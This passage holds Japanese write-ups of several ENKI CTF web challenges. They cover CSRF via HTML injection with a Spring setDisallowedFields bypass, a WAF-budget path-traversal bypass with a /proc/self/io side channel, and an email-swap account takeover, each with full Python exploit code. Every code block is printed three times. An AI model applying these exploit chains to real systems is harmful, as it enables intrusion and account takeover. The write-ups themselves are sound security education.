  2. HTML Injection + CSRFの組み合わせ: メモ機能のHTML Injectionを活用して、ボット(管理者)の権限でプロフィール更新リクエストを送信するCSRF攻撃を実行できるかを評価します。

  3. CVE-2025-22233およびUnicodeベースのフィルター迂回: SpringのsetDisallowedFields保護とサーバー側の文字列フィルタリングを同時に迂回する高度な手法を適用できるかを検証します。

解説

1. サービス構造の把握

提供されたソースコードを分析すると、以下のような構成を確認できます。

  • Spring Bootウェブアプリケーション (ポート 8080): ユーザー登録、プロフィール管理、メモ作成/照会機能を提供

  • Botサービス (Puppeteer, ポート 3000): 管理者アカウントでログインした後、ユーザーが指定したメモパスを訪問

ボットは管理者アカウントでログインしてメモを照会するため、CSRF攻撃の対象になります。

2. JavaScriptコードインジェクション経路の発見

/profile ページにアクセスすると、ユーザーの名前が console.log() で出力されます。この際、ユーザー名に "(ダブルクォーテーション)が含まれていると、エスケープ処理なしで挿入されるため、JavaScriptコードインジェクションが可能です。

ただし、ユーザー名は 20文字 に制限されているため、直接的な攻撃ペイロードを挿入することは困難です。これを他の機能と組み合わせて活用する必要があります。

ユーザー名を以下のように設定します。

この名前が console.log("..."); 内に挿入されると、以下のようなコードが実行されます。

console.log("");top.a.submit()//");
console.log("");top.a.submit()//");
console.log("");top.a.submit()//");

top.a.submit() は親フレームにある id=a のフォームを送信(サブミット)します。

3. HTML Injectionを通じたCSRFの構築

メモ機能において、子メモ(child memo)に対して HTML Injection が可能です。これを活用して、CSRF攻撃のためのHTMLフォームを構築します。

<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>
<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>
<form id=a action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>

この構造の動作プロセスは以下の通りです。

  1. ボットが子メモを照会すると、HTMLフォームとiframeがレンダリングされます。

  2. iframeが /profile/{userid} をロードする際、プロフィールページの console.log() においてコードインジェクションが実行されます。

  3. top.a.submit() が呼び出され、親フレームの <form id=a> がサブミットされます。

  4. 管理者のセッションでプロフィール更新リクエストが送信され、権限フィールド (isPerm) が変更されます。

4. CVE-2025-22233 — Spring setDisallowedFields 迂回

プロフィール更新時、権限フィールドである isPerm は Spring の binder.setDisallowedFields("isPerm") によって保護されているため、通常はバインディングが遮断されます。

CVE-2025-22233 は、setDisallowedFields のフィールド名マッチングロジックにおける 大文字・小文字処理の不一致 を悪用する脆弱性です。フィールド名の最初の大文字を変更した İsPerm (トルコ語の大文字 I: İ, U+0130) を使用すると、setDisallowedFields の検証を迂回しつつ、Springのプロパティバインディングでは isPerm フィールドに正常にマッピングされます。

5. Byte キャストを利用したフィルター迂回

isPerm フィールドの値がアップデートされても、サーバー側で追加のフィルタリングが実行されます。

String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();
String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();
String IsPerm = form.getIsPerm();
IsPerm = IsPerm.replaceAll("(?i)[admin]|[4-7]", "");
if (IsPerm.contains("%")) {
    IsPerm = UriUtils.decode(IsPerm, StandardCharsets.UTF_8);
}
nextIsPerm = (IsPerm == null || IsPerm.trim().isEmpty()) ? "user" : IsPerm.trim();

admin という文字列が直接含まれていると、フィルターによって除去されます。これを迂回するため、Springの UriUtils.decode() (Spring 6.2.9 以下) の バイトオーバーフロー 動作を活用します。

UriUtils.decode() は内部的に ByteArrayOutputStream.write(int b) を使用しており、このメソッドは入力を byte 型にキャストします。Javaの char (16ビット) が byte (8ビット) に変換される際、下位1バイトのみが残ります

この特性を利用したマッピングは以下の通りです。

入力文字

コードポイント

下位バイト

デコード結果

U+2661

0x61

a

U+2664

0x64

d

U+266D

0x6D

m

U+2669

0x69

i

U+266E

0x6E

n

したがって、♡♤♭♩♮ を入力すると replaceAll フィルターを通過した後に、UriUtils.decode() によって admin に変換されます。ただし、UriUtils.decode()% 文字が含まれていない場合はデコードを実行しない(changed フラグが false)ため、ペイロードに %20 を追加してデコードが実行されるようにします。

6. エクスプロイトの実行

上記プロセスを自動化したエクスプロイトは以下の通りです。

rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# 会員登録
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# 親メモの作成
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# 子メモにCSRFフォームを挿入
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# ボットにメモ訪問をリクエスト
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# 管理者権限を獲得後、フラグを照会
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]
rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# 会員登録
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# 親メモの作成
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# 子メモにCSRFフォームを挿入
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# ボットにメモ訪問をリクエスト
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# 管理者権限を獲得後、フラグを照会
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]
rand = random.choice(string.ascii_letters) + random.choice(string.ascii_letters)
username = f'");top.{rand}.submit()//'

# 会員登録
res = req.post(chall_url + "/register",
    data={"username": username, "email": f"{username}@test.com", "password": "security12!@"},
    allow_redirects=False)
userid = int(re.search(r"/profile/(\\d+)", res.headers["Location"]).group(1))

# 親メモの作成
p_memo = req.post(chall_url + "/memo/create",
    json={"content": "123", "title": "123", "userid": userid})
p_memo_id = p_memo.json()["memo"]["id"]

# 子メモにCSRFフォームを挿入
c_memo = req.post(chall_url + "/memo/create",
    json={
        "content": f"""<form id={rand} action=/profile/update/{userid} method=post>
  <input name=İsPerm value='♡♤♭♩♮%20'>
</form>
<iframe src='/profile/{userid}'></iframe>""",
        "title": "123", "userid": userid, "parentMemoId": p_memo_id
    })
c_memo_id = c_memo.json()["memo"]["id"]

# ボットにメモ訪問をリクエスト
req.post(report_url + "/visit", data={"path": f"{p_memo_id}/{c_memo_id}"})

# 管理者権限を獲得後、フラグを照会
FLAG = req.get(chall_url + "/admin/flag",
    headers={"host": "127.0.0.1"}, cookies=sess).json()["flag"]

管理者権限を獲得した後、Host ヘッダーを localhost または 127.0.0.1 に設定して /admin/flag エンドポイントにアクセスすることで、フラグ ENKI{48869ff73110ac17ccf68fe88f1e5f40f3f2d86fb2127f142444c2b3f2d36856} を取得できます。

総合評

本問題は、HTML Injection, CSRF, Spring Data Binding 迂回 (CVE-2025-22233), Unicode デコードトリックという4つの手法を有機的に連携させる必要のある難易度の高い問題です。特に、Javaの byte キャストを利用したフィルター迂回は、実務においても見落とされがちなエンコーディング関連の脆弱性の危険性を示しており、Springフレームワークのセキュリティメカニズム (setDisallowedFields) がCVEを通じて迂回され得るという事実は、フレームワークのセキュリティアップデートの重要性を改めて認識させてくれます。

問題解法のために、次のプラットフォームに接続し、トークン認証を行った後で、インスタンスを発行してください。

インスタンス生成 : http://portal.luck.rctf.enki.co.kr/

脆弱性区分

WAF Bypass, Path Traversal, SSRF (Server-Side Request Forgery), Side-Channel Attack (/proc/self/io)

出題意図

本問題は、ソースコードが提供されないブラックボックス環境において、WAF(ウェブアプリケーションファイアウォール)のバイパスからバイナリのリバースエンジニアリング、Side-Channel攻撃へとつながる、多段階の複合攻撃チェーンを構築する能力を総合的に評価するために出題されました。

  1. WAFバイパス手法: 部分検査(partial inspection)モードとキャッシュメカニズムを分析し、大容量リクエストを通じてパラメータ検証をバイパスする能力を評価します。

  2. ファイルダウンロード脆弱性の活用: Path Traversalを通じてサーバースースコードと内部バイナリを流出させ、追加の攻撃対象領域(アタックサーフェス)を確保できるか確認します。

  3. Side-Channel Attack: 直接的な出力が遮断された状況で、/proc/self/iowchar値の変化を観察し、フラグを1文字ずつ抽出する高度な手法を実装できるかを検証します。

解法

1. サービス機能探査

ブラックボックス環境でサービスに接続すると、guest/guest123アカウントでログインできる社内掲示板形式のサービスが提供されています。主な機能は以下の通りです。

  • 掲示板 (/board): 投稿一覧の照会、個別投稿の照会、添付ファイルのダウンロード

  • ファイルダウンロード (/board/download): FileNameまたはFileIDパラメータによるファイルダウンロード

  • ツール一覧 (/tools): 電卓(/api/calc), QRコード生成(/api/qr), リンクプレビュー(/api/link-preview)

  • メモ (/memo): メモの作成および照会

  • Back-Officeターミナル (/back-office-terminal.html): ウェブターミナルUIで、back-officeサービスへTCP接続

2. 第1段階 — WAFバイパスによるPath Traversal

ファイルダウンロード機能(/board/download?FileName=)にPath Traversal脆弱性が存在しますが、サーバー側のフィルターは./.\\パターンのみを除去し、../は遮断しません。しかし、WAFで../パターンが検知されて遮断されます。

WAFの動作を分析すると、以下のような特徴が発見されます。

  • 検証を通過したリクエストのIP:URIの組み合わせをキャッシュに保存 (TTL約2000ms)

  • 大容量リクエスト(>4MB)は、キャッシュがない場合は無条件で遮断

  • キャッシュが存在すれば部分検査(partial inspection)モードに移行: inspection budget(4MB)に達するまでパラメータを検査し、残りはスキップ

この特徴を応用したWAFバイパス手順は以下の通りです。

  1. 正常なリクエストを/board/downloadに送信し、WAFキャッシュをウォーミングアップします。

  2. キャッシュのTTL(2000ms)以内に、4MB以上のPOSTリクエストを送信します。この際、前方に4MB以上のパディングパラメータを配置し、その後ろにFileNameパラメータを配置します。

  3. WAFはキャッシュヒットにより部分検査モードに入り、パディングがinspection budgetを消費し尽くします。

  4. budgetが消費し尽くされたため、後ろに位置するFileName../パターンは検査されずに通過します。

PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()
PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()
PAD_COUNT = 1024
PAD_SIZE = 4000
target = "...//...//...//...//...//...//...//...//...//proc/self/fd/4"

mal_tuples = [(f"pad{i}", "A" * PAD_SIZE) for i in range(PAD_COUNT)]
mal_tuples.append(("FileName", target))
mal_body = urlencode(mal_tuples).encode()

サーバー側にて...//./が除去されて../に変換されるため、二重エンコーディング手法によりPath Traversalが成功します。キャッシュウォーミングと攻撃リクエストを並列で実行し、成功率を高めます。

# キャッシュウォーマースレッド
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# 攻撃スレッド
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()
# キャッシュウォーマースレッド
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# 攻撃スレッド
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()
# キャッシュウォーマースレッド
def cache_warmer(wid):
    while not found.is_set():
        s.post(url, data={"FileID": "1"}, timeout=3)

# 攻撃スレッド
def attack(tid):
    res = s.post(url, data=mal_body,
        headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=120)
    if res.status_code == 200 and b"Blocked" not in res.content[:500]:
        with open("a.bin", "wb") as f:
            f.write(res.content)
        found.set()

/proc/self/fd/4を通じてウェブサーバーのソースコード(JARファイル)をダウンロードできます。

3. 内部情報の収集

獲得したソースコードを分析すると、/api/link-previewを通じた内部ネットワークリクエスト(SSRF)と、/api/testエンドポイントを通じたディレクトリリスティングが可能であることが分かります。

Path Traversalを活用して追加のファイルを収集します。

  • /home/chall/.bash_history: サーバー環境情報 (back-officeバイナリのパスなど)

  • /opt/backoffice/back-office_3ab1542105c9b5aa758c35407db2bfe8: back-officeのRustバイナリ

  • /opt/backoffice/Dockerfile: フラグファイルが/app/flag.txtに位置することを確認

4. 第2段階 — Back-Officeバイナリのリバースエンジニアリング

ダウンロードしたback-officeバイナリ(Rust製)をリバースエンジニアリングすると、以下のような動作を確認できます。




決定的な制約は、フラグが含まれる行(ENKI{...})はstdoutではなく/dev/nullにリダイレクトされるため、直接読み取ることができない点です。これをバイパスするためにSide-Channel Attackを実行します。

5. 第3段階 — Side-Channel Attackを通じたフラグ抽出

/dev/nullに書き込まれたデータの量は、/proc/self/iowchar(written characters)値を通じて間接的に観察することができます。パターンがフラグとマッチした場合、該当する行が/dev/nullに書き込まれるため、wcharの増加量に違いが生じます。これをオラクルとして利用します。

攻撃アルゴリズム:

  1. 基準値の測定: 空のパターン("")でN回(70回)繰り返し実行した後、wcharの変化量を測定してしきい値(threshold, 約3000)を設定します。

  2. 有効な文字のフィルタリング: フラグに含まれる可能性のある各文字を個別にテストし、wcharの増加量がしきい値を超える文字のみを候補として残します。

  3. 1文字ずつのブルートフォース(Brute-Force): これまでのprefix(ENKI{ + 確定した文字)に、各候補文字を連結してテストします。wcharの増加量がしきい値を超えれば、その文字が正解です。

  4. } 文字が発見されるまでこのプロセスを繰り返します。

def finnn(n, payload):
    r = nc()  # 新規セッション作成
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # N回の空リクエストでノイズを蓄積
    send_flag(r, payload)  # 実際のパターンを送信
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# 1文字ずつブルートフォース
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break
def finnn(n, payload):
    r = nc()  # 新規セッション作成
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # N回の空リクエストでノイズを蓄積
    send_flag(r, payload)  # 実際のパターンを送信
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# 1文字ずつブルートフォース
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break
def finnn(n, payload):
    r = nc()  # 新規セッション作成
    _, wchar = get_wchar(r)
    for _ in range(n):
        send_flag(r, "")  # N回の空リクエストでノイズを蓄積
    send_flag(r, payload)  # 実際のパターンを送信
    _, wchar1 = get_wchar(r)
    cleanup(r)
    return wchar1 - wchar

# 1文字ずつブルートフォース
flag = "ENKI{"
for pos in range(100):
    with ThreadPoolExecutor(max_workers=WORKERS) as pool:
        futures = {pool.submit(finnn, wchar_int, flag + c): c for c in fin}
        for future in as_completed(futures):
            c = futures[future]
            diff = future.result()
            if diff > wchar_over:
                flag += c
                if c == '}':
                    print(f"[FLAG]{flag}")
                    exit()
                break

並列処理を適用して各位置の候補文字を同時にテストすることにより、攻撃速度を向上させます。最終的に、フラグENKI{h3110_and_wE1C0ME_EnK1}を獲得できます。

総合評価

本問題は、WAFバイパス、Path Traversal、バイナリリバースエンジニアリング、Side-Channel Attackという4つの段階の技術を連鎖的に要求する高難度の問題です。特に、WAFの部分検査モードを活用したバイパス手法は、実際のセキュリティ機器の性能的な制約を攻撃に利用する優れた例であり、/proc/self/ioを通じたSide-Channel Attackは、直接的なデータ流出が遮断された環境であっても情報を抽出できることを示す実践的なテクニックです。防御側の観点からは、WAFだけに依存せず、アプリケーションレベルでの入力検証を強化しなければならないことを示唆しています。

パートナー契約ポータル

パートナー契約のための安全なパートナー契約ポータルを開設しました。

$ which

$ which

$ which

問題解決のために、次のプラットフォームにアクセスしてトークン認証を行い、インスタンスを発行してください。

インスタンス生成: http://portal.partner.rctf.enki.co.kr/

脆弱性の分類

CAPTCHAバイパス、IDOR (不適切な直接オブジェクト参照)、ビジネスロジックの脆弱性 (メールスワップによるアカウント乗っ取り)、暗号化ロジックの分析、パストラベルサール (Path Traversal)

出題の意図

本問題は、ソースコードが提供されないブラックボックス環境において、実務で頻繁に遭遇するビジネスロジックの脆弱性を検出し、それを連鎖的に悪用して最高権限のアカウントを奪取する能力を評価するために出題されました。

  1. ビジネスロジック分析: 多要素認証 (OTP) および暗号化通信が適用された環境で、メールアドレス変更およびパスワードリセットのフローにおける論理的欠陥を発見できるか確認します。

  2. クライアント側暗号化分析: フロントエンドに実装された AES-GCM 暗号化ロジックを分析・再現し、セキュリティ API に対して正常なリクエストを構築できるかを評価します。

  3. 段階的な権限昇格: 一般ユーザー → 内部スタッフ権限 (internal_ops) → 内部管理者権限 (internal_admin) への権限昇格チェーンを構築できるかを検証します。

解説

本問題は、合計11段階のシーケンシャルな攻撃で構成されています。各段階について詳細に説明します。

STEP 1. 会員登録

サービスにアクセスすると、パートナー契約ポータルが表示されます。まず会員登録を行います。パスワードは、大文字、小文字、特殊文字、数字をすべて含み、10文字以上である必要があります。

会員登録時に CAPTCHA (パズル型認証) をクリアする必要があります。CAPTCHA はパズルのピースを正しい位置にスライドさせる方式で、SVG 画像からスロットの位置をパースして自動的に解くことができます。

# CAPTCHA自動解法: SVGからスロット位置を抽出
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset
# CAPTCHA自動解法: SVGからスロット位置を抽出
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset
# CAPTCHA自動解法: SVGからスロット位置を抽出
svg_b64 = ch['puzzle']['boardImageDataUrl'].split(',')[1]
svg = base64.b64decode(svg_b64).decode()
match = re.search(r'slotMask.*?<path\\s+d="M\\s+(\\d+)\\s+(\\d+)', svg, re.DOTALL)
slot_x = int(match.group(1))
answer = slot_x - start_x - piece_offset

会員登録が完了すると、JWT トークン、OTP 登録キー、ユーザー ID、会社 ID、ユーザーキーのシードが返されます。

STEP 2. OTP登録

発行された OTP シークレットキーを TOTP アルゴリズムで登録します。以降、すべての認証プロセスで OTP が要求されます。

totp = pyotp.TOTP(otpkey)
otp_code = totp.now()
totp = pyotp.TOTP(otpkey)
otp_code = totp.now()
totp = pyotp.TOTP(otpkey)
otp_code = totp.now()

STEP 3. internal_ops 権限アカウントの情報収集

お知らせ API (/api/notices) の応答に、作成者の userId と companyId が露出しています。これを利用して、内部スタッフ (internal_ops) アカウントの識別情報を収集します。

ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']
ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']
ch = curl_json('GET', f'{url}/api/notices?limit=1',
    headers={"Authorization": f"Bearer{jwttoken}"})
ops_companyid = ch[0]['company_id']
ops_userid = ch[0]['created_by']

STEP 4. メールスワップによる internal_ops 権限アカウントの奪取

本問題の核心的な脆弱性は、隠されたメールアドレス変更 APIにあります。/api/auth/secure/users/redacted リクエストにおける email 関連のキーワードと role 変更 API の形式を手がかりに、/api/auth/secure/users/email エンドポイントを見つけ出します。このメールアドレス変更 API は AES-GCM で暗号化されたリクエストを受け取りますが、リクエストボディに含まれる userIdcompanyId に該当する任意のユーザーのメールアドレスを変更可能という問題があります。

まず、フロントエンドの暗号化ロジックを分析します。AES-256-GCM 暗号化に使用されるキーは PBKDF2-SHA256 で誘導され、AAD (Additional Authenticated Data) にはリクエストメソッド、パス、ユーザー ID が含まれます。

def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... ヘッダー/ボディの構築 ...
    return f"v1.{h_b64}.{b_b64}"
def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... ヘッダー/ボディの構築 ...
    return f"v1.{h_b64}.{b_b64}"
def make_secure_raw(path, method, user_id, user_key_seed, json_data):
    key = derive_key("public-passphrase-v1", "public-salt-v1", user_key_seed)
    iv = os.urandom(12)
    aad = f"{method}:{normalize_aad_path(path)}:{user_id}".encode("utf-8")
    plaintext = json.dumps(json_data, separators=(",", ":")).encode("utf-8")
    aesgcm = AESGCM(key)
    encrypted = aesgcm.encrypt(iv, plaintext, aad)
    # ... ヘッダー/ボディの構築 ...
    return f"v1.{h_b64}.{b_b64}"

メールスワップ攻撃の手順は以下の通りです。

  1. 自身のメールアドレスを一時的なアドレスに変更: 既存のメールアドレスとの紐付けを解除します。

  2. contract_ops@enki.co.kr のメールアドレスを、OTPを登録した自身のメールアドレスに変更: 内部スタッフアカウントのメールアドレスが、攻撃者のものに変更されます。

# 自身のメールアドレスを一時的なアドレスに変更
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# internal_ops 権限アカウントのメールアドレスを自身のメールアドレスに変更
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})
# 自身のメールアドレスを一時的なアドレスに変更
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# internal_ops 権限アカウントのメールアドレスを自身のメールアドレスに変更
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})
# 自身のメールアドレスを一時的なアドレスに変更
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': userid, "companyId": companyid, "email": "swap1234@qwer.com"})

# internal_ops 権限アカウントのメールアドレスを自身のメールアドレスに変更
rawdata = make_secure_raw("/api/auth/secure/users/email", "POST",
    userid, user_key,
    {'userId': ops_userid, "companyId": ops_companyid, "email": email})

STEP 5. internal_ops 権限アカウントのパスワードリセット

これで内部スタッフアカウントのメールアドレスが攻撃者のものに設定されたため、パスワードリセット機能を利用できます。OTP認証とともにパスワードリセットを要求すると resetToken が発行され、これを使用して新しいパスワードを設定します。

# OTP認証でリセットトークンを発行
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# 新しいパスワードを設定
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})
# OTP認証でリセットトークンを発行
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# 新しいパスワードを設定
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})
# OTP認証でリセットトークンを発行
ch = curl_json('POST', f'{url}/api/auth/password/reset/verify',
    data={"email": email, "otp": get_otp(otpkey)})
resetToken = ch['resetToken']

# 新しいパスワードを設定
curl_json('POST', f'{url}/api/auth/password/reset/complete',
    data={"resetToken": resetToken, "newPassword": password})

STEP 6. internal_ops 権限アカウントでログイン

リセットしたパスワードを使用して、内部スタッフアカウントにログインします。ログインにも OTP が必要ですが、すでに攻撃者の OTP キーが登録されているため、認証に成功します。

STEP 7. internal_admin 情報の収集

内部スタッフ権限で監査ログ (audit-logs) APIにアクセスすると、内部管理者 (internal_admin) 権限アカウントの target_id を確認できます。

ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']
ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']
ch = curl_json('GET', f'{url}/api/auth/audit-logs?includeMeta=1&limit=500&offset=0',
    headers={"Authorization": f"Bearer{ops_token}"})
admin_userid = ch['items'][-1]['target_id']

STEP 8~9. internal_admin アカウントの奪取

STEP 4〜5 と同様のメールスワップおよびパスワードリセット手順を、internal_admin 権限アカウントに対して繰り返します。ただし、メールアドレスの変更はパートナーアカウントの admin 権限を持つアカウントからのみ実行可能なため、最初に作成したアカウントのトークンでリクエストを送る必要があります。レート制限 (Rate limiting) が適用されているため、60秒間の待機が必要です。

STEP 10. internal_admin ログイン

内部管理者 (internal_admin) アカウントにログインし、tokenuserKeySeed を取得します。

STEP 11. フラグの獲得 — File Download

内部管理者 (internal_admin) 権限でのみ動作するファイルダウンロード API /api/contracts/attachments/download 機能を使用してフラグファイルを読み取ります。当該 API には特定の文字列をフィルタリングする仕組みが導入されているため、これを回避するために、ファイルパスに Path Traversal を適用して /flag.txt にアクセスします。

rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})
rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})
rawdata = make_secure_raw("/contracts/attachments/download", "POST",
    admin_userid, admin_userKeySeed,
    {"filePath": "/proc/self/root/", "fileName": "flag.txt"})

ch = curl_raw('POST', f'{url}/api/contracts/attachments/download',
    data=rawdata,
    headers={"Content-Type": "text/plain",
             "Authorization": f"Bearer{admin_token}"})

最終的に、フラグである ENKI{6fab7762f935fe71629b482c285c7691} を獲得できます。

総合評価

本問題は、技術的な脆弱性 (Path Traversal、CAPTCHA バイパス) よりも、ビジネスロジックの脆弱性 (メールスワップによるアカウント乗っ取り) に焦点を当てた実戦的な問題です。多要素認証 (OTP) やクライアント側の暗号化 (AES-GCM) が導入されており、一見セキュリティレベルが高そうに見えますが、メール変更 API の権限検証不備という単一の論理的欠陥が、認証システム全体を無力化し得ることを示しています。実務において、暗号化通信や MFA だけで安全であると過信せず、各 API のビジネスロジックに対する権限検証を必ず実施しなければならないという教訓を与える問題です。

sfa

A medical robot Sales Force Automation system.

脆弱性区分

Spring Security メソッドセキュリティ回避 (CVE-2025-41248)、SSRF (Server-Side Request Forgery)、DICOM BulkDataURI を利用した Local File Inclusion (LFI)

出題意図

